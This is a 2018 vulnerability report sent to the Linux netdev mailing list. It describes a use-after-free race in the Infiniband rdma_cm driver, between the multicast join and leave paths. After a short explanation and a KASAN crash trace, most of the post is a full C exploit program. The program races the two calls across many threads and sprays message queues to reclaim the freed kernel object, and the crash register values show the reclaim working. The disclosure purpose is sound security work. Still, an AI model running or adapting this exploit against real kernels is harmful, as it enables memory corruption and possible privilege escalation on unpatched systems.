Date:   Mon, 28 May 2018 15:26:27 +0300
From:   Noam Rathaus <noamr@...ondsecurity.com>
To:     netdev@...r.kernel.org
Subject: UAF in Infiniband driver

Hi,

We would like to report a UAF vulnerability in the Infiniband driver,
I am unable to find who the maintainer is, so I am resorting to
sending it to netdev

==

================ target Linux kernel version ================
I tested on Linux-4.16.1, and I didn't find any related patch in Linux-4.16.6.

I also didn't find any useful patch in
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/log/drivers/infiniband/core?qt=grep&q=rdma

================= Vulnerability Details =====================

ucma_process_join() will free the new allocated "mc" struct, if there
are some error happened during it.

But in another thread, ucma_leave_multicast() could find this "mc"
through idr_find() before ucma_process_join() free it.

So "mc" could will be used in ucma_leave_multicast() after it is been
allocated and freed in ucma_process_join().

====================== crash info ===========================

[  623.954258] kasan: CONFIG_KASAN_INLINE enabled
[  623.956513] kasan: GPF could be caused by NULL-ptr deref or user
memory access
[  623.959668] general protection fault: 0000 [#8] SMP KASAN PTI
[  623.962402] Modules linked in: kvm_intel joydev ppdev kvm irqbypass
psmouse e1000 parport_pc floppy parport pata_acpi i2c_piix4
qemu_fw_cfg autofs4 input_leds serio_raw mac_hid
[  623.968486] CPU: 1 PID: 4272 Comm: use_poc_3 Tainted: G    B D W
   4.14.33 #1
[  623.971948] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS 1.10.2-1ubuntu1 04/01/2014
[  623.975340] task: ffff880085868040 task.stack: ffff880066e60000
[  623.977698] RIP: 0010:__mutex_lock+0x2a9/0x1c00
[  623.979900] RSP: 0018:ffff880066e67680 EFLAGS: 00010206
[  623.981902] RAX: dffffc0000000000 RBX: 4141414141414141 RCX: 0000000000000000
[  623.984623] RDX: 0828282828282828 RSI: 0000000000000000 RDI: 0000000000000246
[  623.987391] RBP: ffff880066e67a70 R08: ffffffff8313f0b2 R09: ffff880085868040
[  623.990093] R10: ffff880066e67548 R11: 0000000000000000 R12: ffff880066e677a0
[  623.993642] R13: ffff880066e67800 R14: 0000000000000000 R15: ffff880066e67880
[  623.996525] FS:  00007f1fdc554700(0000) GS:ffff880097d00000(0000)
knlGS:0000000000000000
[  623.998753] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  624.000779] CR2: 00007f1fe0622a08 CR3: 000000007fe40000 CR4: 00000000000006e0
[  624.002582] Call Trace:
[  624.003570]  ? debug_check_no_locks_freed+0x2c0/0x2c0
[  624.004730]  ? ucma_leave_multicast+0x472/0x9a0
[  624.006545]  ? mutex_lock_io_nested+0x1ad0/0x1ad0
[  624.008518]  ? debug_check_no_locks_freed+0x2c0/0x2c0
[  624.010548]  ? ucma_leave_multicast+0x3cd/0x9a0
[  624.011826]  ? lock_acquire+0x5b0/0x5b0
[  624.012676]  ? radix_tree_tagged+0x60/0x60
[  624.013884]  ? lock_acquire+0x20d/0x5b0
[  624.015467]  ? rdma_leave_multicast+0x541/0x820
[  624.017408]  ? lock_acquire+0x5b0/0x5b0
[  624.018971]  ? lock_downgrade+0x820/0x820
[  624.020497]  ? __mutex_unlock_slowpath+0x170/0xcb0
[  624.021855]  ? radix_tree_tag_clear+0x350/0x350
[  624.023283]  ? do_raw_spin_trylock+0x1a0/0x1a0
[  624.024889]  ? trace_hardirqs_on_thunk+0x1a/0x1c
[  624.026230]  ? retint_kernel+0x10/0x10
[  624.027714]  mutex_lock_nested+0x1b/0x20
[  624.029088]  ? mutex_lock_nested+0x1b/0x20
[  624.030617]  ucma_leave_multicast+0x472/0x9a0
[  624.031874]  ? ucma_query_path.isra.11+0xa60/0xa60
[  624.033216]  ? lock_downgrade+0x820/0x820
[  624.034471]  ? entry_SYSCALL_64_after_hwframe+0x42/0xb7
[  624.035921]  ? kasan_check_write+0x14/0x20
[  624.037151]  ucma_write+0x31f/0x430
[  624.038174]  ? ucma_query_path.isra.11+0xa60/0xa60
[  624.039702]  ? ucma_destroy_id+0x5b0/0x5b0
[  624.041199]  ? __check_object_size+0x2d8/0x560
[  624.043076]  ? ucma_destroy_id+0x5b0/0x5b0
[  624.044756]  __vfs_write+0x90/0x120
[  624.046565]  vfs_write+0x1a0/0x520
[  624.048185]  SyS_write+0xff/0x240
[  624.049546]  ? SyS_read+0x240/0x240
[  624.050923]  ? lock_downgrade+0x820/0x820
[  624.052617]  ? SyS_read+0x240/0x240
[  624.054182]  do_syscall_64+0x28f/0x7f0
[  624.055722]  ? syscall_return_slowpath+0x400/0x400
[  624.057637]  ? syscall_return_slowpath+0x253/0x400
[  624.059575]  ? prepare_exit_to_usermode+0x2b0/0x2b0
[  624.061498]  ? preempt_notifier_dec+0x20/0x20
[  624.063201]  ? perf_trace_sys_enter+0xc70/0xc70
[  624.064978]  ? trace_hardirqs_off_thunk+0x1a/0x1c
[  624.066805]  entry_SYSCALL_64_after_hwframe+0x42/0xb7

== exploit

#define _GNU_SOURCE
#include <endian.h>
#include <linux/futex.h>
#include <pthread.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/time.h>

#include <sched.h>

#define SEND 1
#define RECV 0
#define RDMATHREADS 30

static void test();
void createThreads();
void testTreadWake();
void exitRdmaThreads();

void loop()
{
  createThreads();
  while (1) {
    test();
  }
}

struct thread_t {
  int created, running, call, CPUNumber, exitFlag;
  pthread_t th;
};

struct msgInfo {
int msgid;
int CPUNumber;
int sendOrRecv; //true: send ; false: recv
};

struct {
        long mtype;
        char mtext[0xAC];
//char mtext[0xB0];
} msg = {0x42, {0}};

static struct thread_t *threads;
static void execute_call(int call);
static int running;
static int collide;

int threadWaittingNum = 0;
int sendCount = 0;
int *sendNum = 0;

int *threadWaitting;
int *threadRunning;
int *ipcThreadStop;


void setAffinity(void* arg);

static void* thr(void* arg)
{
  struct thread_t* th = (struct thread_t*)arg;
  struct msgInfo setRdmaCPUInfo;
  setRdmaCPUInfo.CPUNumber = th->CPUNumber;

  setAffinity(&setRdmaCPUInfo);

  for (;;) {
while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
{
syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
}
if(__atomic_load_n(&th->exitFlag, __ATOMIC_ACQUIRE))
{
syscall(SYS_futex, &th->running, FUTEX_WAKE);
pthread_detach(pthread_self());
return 0;
}
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
}
  return 0;
}

int threadNum = 0;
void createThreads()
{
    int policy = 0;
    int max_prio_for_policy = 0;
threads = mmap(NULL, sizeof(struct thread_t)*RDMATHREADS, PROT_READ |
PROT_WRITE,
                         MAP_ANONYMOUS | MAP_SHARED, -1, 0);

for (int thread = 0; thread < RDMATHREADS; thread++) {
      struct thread_t* th = &threads[thread];
      if (!th->created) {
        th->created = 1;
th->exitFlag = 0;
th->CPUNumber = (thread==0 ? 0 : 1);
        pthread_attr_t attr;
        pthread_attr_init(&attr);
        pthread_attr_setstacksize(&attr, 128 << 10);
        if(thread == 0)
{
pthread_create(&th->th, &attr, thr, th);
perror("Warning_1111: ");
}
else
pthread_create(&th->th, &attr, thr, th);
pthread_attr_getschedpolicy(&attr, &policy);
max_prio_for_policy = sched_get_priority_min(policy);

pthread_setschedprio(th->th, max_prio_for_policy);
pthread_attr_destroy(&attr);
      }
}

}

void readTime(int call)
{
struct timeval tv;
printf("run at %d\n",call);
gettimeofday(&tv,NULL);
printf("sendNum is ==== %d at %d \n", __atomic_load_n(sendNum,
__ATOMIC_ACQUIRE), call);
    printf("millisecond:%ld\n",tv.tv_sec*1000000  + tv.tv_usec);
return;
}

uint64_t r[3] = {0xffffffffffffffff, 0xffffffff, 0xffffffff};
uint64_t procid;
void execute_call(int call)
{
  //printf("call is %d\n",call);
  long res;
  switch (call) {
  case 0:
    *(uint32_t*)0x20000080 = 0;
    //printf("create.........\n");
    *(uint16_t*)0x20000084 = 0x18;
    *(uint16_t*)0x20000086 = 0xfa00;
    *(uint64_t*)0x20000088 = 2;
    *(uint64_t*)0x20000090 = 0x20000040;
    *(uint16_t*)0x20000098 = 0x111;
    *(uint8_t*)0x2000009a = 0xd;
    *(uint8_t*)0x2000009b = 0;
    *(uint8_t*)0x2000009c = 0;
    *(uint8_t*)0x2000009d = 0;
    *(uint8_t*)0x2000009e = 0;
    *(uint8_t*)0x2000009f = 0;
    res = syscall(__NR_write, r[0], 0x20000080, 0x20); // create
    if (res != -1)
      r[1] = *(uint32_t*)0x20000040;
    break;
  case 1:
    printf("join.........\n");
    *(uint32_t*)0x20000180 = 0x16;
    *(uint16_t*)0x20000184 = 0x98;
    *(uint16_t*)0x20000186 = 0xfa00;
    *(uint64_t*)0x20000188 = 0x20000140;
    *(uint64_t*)0x20000190 = 3;
    *(uint32_t*)0x20000198 = r[1];
    *(uint16_t*)0x2000019c = 0x10;
    *(uint16_t*)0x2000019e = 1;
    *(uint16_t*)0x200001a0 = 2;
    *(uint16_t*)0x200001a2 = htobe16(0x4e23);
    *(uint8_t*)0x200001a4 = 0xac;
    *(uint8_t*)0x200001a5 = 0x14;
    *(uint8_t*)0x200001a6 = 0x14;
    *(uint8_t*)0x200001a7 = 0xbb;
    *(uint8_t*)0x200001a8 = 0;
    *(uint8_t*)0x200001a9 = 0;
    *(uint8_t*)0x200001aa = 0;
    *(uint8_t*)0x200001ab = 0;
    *(uint8_t*)0x200001ac = 0;
    *(uint8_t*)0x200001ad = 0;
    *(uint8_t*)0x200001ae = 0;
    *(uint8_t*)0x200001af = 0;
__atomic_store_n(sendNum, 0, __ATOMIC_RELEASE);
//readTime(1);
    res = syscall(__NR_write, r[0], 0x20000180, 0xa0); //
ucma_join_multicast alloc "mc", and then the function will free it and
"ctx", if there are some error.
//readTime(11111);
    if (res != -1)
      r[2] = *(uint32_t*)0x20000140;
    break;
  case 2:
    //printf("leave.........\n");
    *(uint32_t*)0x20000240 = 0x11;
    *(uint16_t*)0x20000244 = 0x10;
    *(uint16_t*)0x20000246 = 0xfa00;
    *(uint64_t*)0x20000248 = 0x20000100;

    *(uint32_t*)0x20000250 = 0; // set id

    *(uint32_t*)0x20000254 = 0;
__atomic_store_n(sendNum, 0, __ATOMIC_RELEASE);
//readTime(2);
    syscall(__NR_write, r[0], 0x20000240, 0x18); //
ucma_leave_multicast() find "mc", and use it and "ctx". Crash in it.
    break;
  }
}
void runJoin()
{
__atomic_store_n(threadRunning, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, threadWaitting, FUTEX_WAKE, threadWaittingNum,
NULL, NULL, 0);
struct thread_t* th = &threads[0];
if (th->created) {
__atomic_store_n(&th->call, 1, __ATOMIC_RELEASE);
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);

syscall(SYS_futex, &th->running, FUTEX_WAKE);
}
}
int count = 0;

void runCreateOrLeave(int call, int threadNum)
{
struct thread_t* th = &threads[threadNum]; // 0 or 1
struct timespec ts;
if (th->created) {
__atomic_store_n(&th->call, call,  __ATOMIC_RELEASE);

__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);

syscall(SYS_futex, &th->running, FUTEX_WAKE);
}
ts.tv_sec = 0;
ts.tv_nsec = 20 * 1000 * 1000;
syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
}

void runCreateOrLeaveNoWait(int call, int threadNum)
{
struct thread_t* th = &threads[threadNum];
if (th->created) {
__atomic_store_n(&th->call, call,  __ATOMIC_RELEASE);
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
}
}

void exitRdmaThreads()
{
struct timespec ts;
struct thread_t* th;
th = &threads[0];

ts.tv_sec = 0;
ts.tv_nsec = 20 * 1000 * 1000;
syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);

for(int i = 0; i < RDMATHREADS; i++)
{
th = &threads[i];
if (th->created) {
th->created = 0;
__atomic_store_n(&th->exitFlag, 1, __ATOMIC_RELEASE);
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);

syscall(SYS_futex, &th->running, FUTEX_WAKE);
struct timespec ts;
ts.tv_sec = 0;
ts.tv_nsec = 20 * 1000 * 1000;
syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
}
}
munmap(threads, sizeof(struct thread_t)*RDMATHREADS);

if(sendCount)
syscall(SYS_futex, ipcThreadStop, FUTEX_WAIT, 1, NULL, NULL, 0);
}

void setAffinity(void *arg)
{
int i;
    cpu_set_t mask;
    cpu_set_t get;
int cpuId = ((struct msgInfo*)arg)->CPUNumber;

    CPU_ZERO(&mask);
    CPU_SET(cpuId, &mask);

    if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0) {
        fprintf(stderr, "set thread affinity failed\n");
    }

    CPU_ZERO(&get);
    if (pthread_getaffinity_np(pthread_self(), sizeof(get), &get) < 0) {
        fprintf(stderr, "get thread affinity failed\n");
    }
}

void *holeThread(struct msgInfo *msgInfo)
{
int msgid = msgInfo->msgid;
setAffinity(&msgInfo);
if(msgInfo->sendOrRecv == SEND)
{
while(1)
{
__atomic_fetch_add(&threadWaittingNum, 1, __ATOMIC_RELAXED);

syscall(SYS_futex, threadWaitting, FUTEX_WAIT, 1, NULL, NULL, 0);
while(__atomic_load_n(threadRunning, __ATOMIC_ACQUIRE))
{
if (msgsnd(msgid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
__atomic_fetch_add(&sendCount, 1, __ATOMIC_RELAXED);
__atomic_fetch_add(sendNum, 1, __ATOMIC_RELAXED);
}
__atomic_fetch_sub(&threadWaittingNum, 1, __ATOMIC_RELAXED);
}
}
else
{
while(1)
{
__atomic_fetch_add(&threadWaittingNum, 1, __ATOMIC_RELAXED);
syscall(SYS_futex, threadWaitting, FUTEX_WAIT, 1, NULL, NULL, 0);
int tSendCount = 0;
while(__atomic_load_n(&sendCount, __ATOMIC_ACQUIRE))
{
if(__atomic_load_n(&sendCount, __ATOMIC_ACQUIRE)<5)
{
usleep(1000*1000);
continue;
}
if (msgrcv(msgid, &msg, sizeof(msg.mtext), 0x42, 0) == -1){
perror("msgrcv error !!!!");
exit(1);
}
__atomic_fetch_sub(&sendCount, 1, __ATOMIC_RELAXED);
__atomic_fetch_add(&tSendCount, 1, __ATOMIC_RELAXED);
}
syscall(SYS_futex, ipcThreadStop, FUTEX_WAKE);
__atomic_fetch_sub(&threadWaittingNum, 1, __ATOMIC_RELAXED);
}
}
}

void createHoleThreads(struct msgInfo *msgInfo)
{
pthread_t tid;
pthread_attr_t thAttr;
    int policy = 0;
    int max_prio_for_policy = 0;

if (pthread_create(&tid, NULL, (void *)holeThread, msgInfo) != 0) {
perror("create thread");
fprintf(stderr, "thread create failed\n");
return;
}

    pthread_attr_init(&thAttr);
    pthread_attr_getschedpolicy(&thAttr, &policy);
    max_prio_for_policy = sched_get_priority_max(policy);

    pthread_setschedprio(tid, max_prio_for_policy);
    pthread_attr_destroy(&thAttr);
return;
}

void test()
{
  printf("===== run test %d ====\n",count++);
  long res = -1;
  memcpy((void*)0x20000680, "/dev/infiniband/rdma_cm", 24);
  res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000680, 2, 0);
  if (res != -1)
    r[0] = res;

  collide = 1;
  runCreateOrLeave(0, 1); // run rdma create on CPU 0 and Thread 1
  runJoin(); // run rdma Join on CPU 0 and Thread 0
  for(int i = 3; i < RDMATHREADS; i++)
  runCreateOrLeaveNoWait(2, i); // run rdma leave on CPU 1 and Thread
[3:RDMATHREADS-1]

  runCreateOrLeave(2, 2); // run rdma leave on CPU 1 and Thread 2

  __atomic_store_n(threadRunning, 0, __ATOMIC_RELEASE);

  if(res != -1)
    close(res);
}

void testTreadWake()
{
syscall(SYS_futex, threadWaitting, FUTEX_WAKE, 200, NULL, NULL, 0);
perror("threadWaitting_1: ");
}

int main()
{
  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
  memset(msg.mtext, '\x41', sizeof(msg.mtext));
  int pid = 0;
  int msgid = 0;
  struct msgInfo sendHoleInfo;
  struct msgInfo recvHoleInfo;

  struct msgInfo sendHoleInfo_1;
  struct msgInfo recvHoleInfo_1;

  threadWaitting = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,
                         MAP_ANONYMOUS | MAP_SHARED, -1, 0);
  *threadWaitting = 1;

  threadRunning = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,
                         MAP_ANONYMOUS | MAP_SHARED, -1, 0);
  *threadRunning = 0;

  ipcThreadStop = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,
                         MAP_ANONYMOUS | MAP_SHARED, -1, 0);
  *ipcThreadStop = 1;

  sendNum = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,
                     MAP_ANONYMOUS | MAP_SHARED, -1, 0);
  *sendNum = 0;

  if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
  }

  sendHoleInfo.msgid = msgid;
  sendHoleInfo.sendOrRecv = SEND;
  sendHoleInfo.CPUNumber = 0;

  recvHoleInfo.msgid = msgid;
  recvHoleInfo.sendOrRecv = RECV;
  recvHoleInfo.CPUNumber = 1;

  printf("Creating ipc msg threads\n");

  for(int i = 0; i < 250; i++){
createHoleThreads(&sendHoleInfo);
  }
  for(int i = 0; i < 150; i++){
createHoleThreads(&recvHoleInfo);
  }

  printf("Ipc msg threads are created\n");

  for (procid = 0; procid < 1; procid++) {
    if (fork() == 0) {
      //for (;;) {
        loop();
      //}
    }
  }
  printf("ending..................\n");
  sleep(1000000);
  return 0;
}

==



-- 

Thanks,
Noam Rathaus
Beyond Security

PGP Key ID: 7EF920D3C045D63F (Exp 2019-03)

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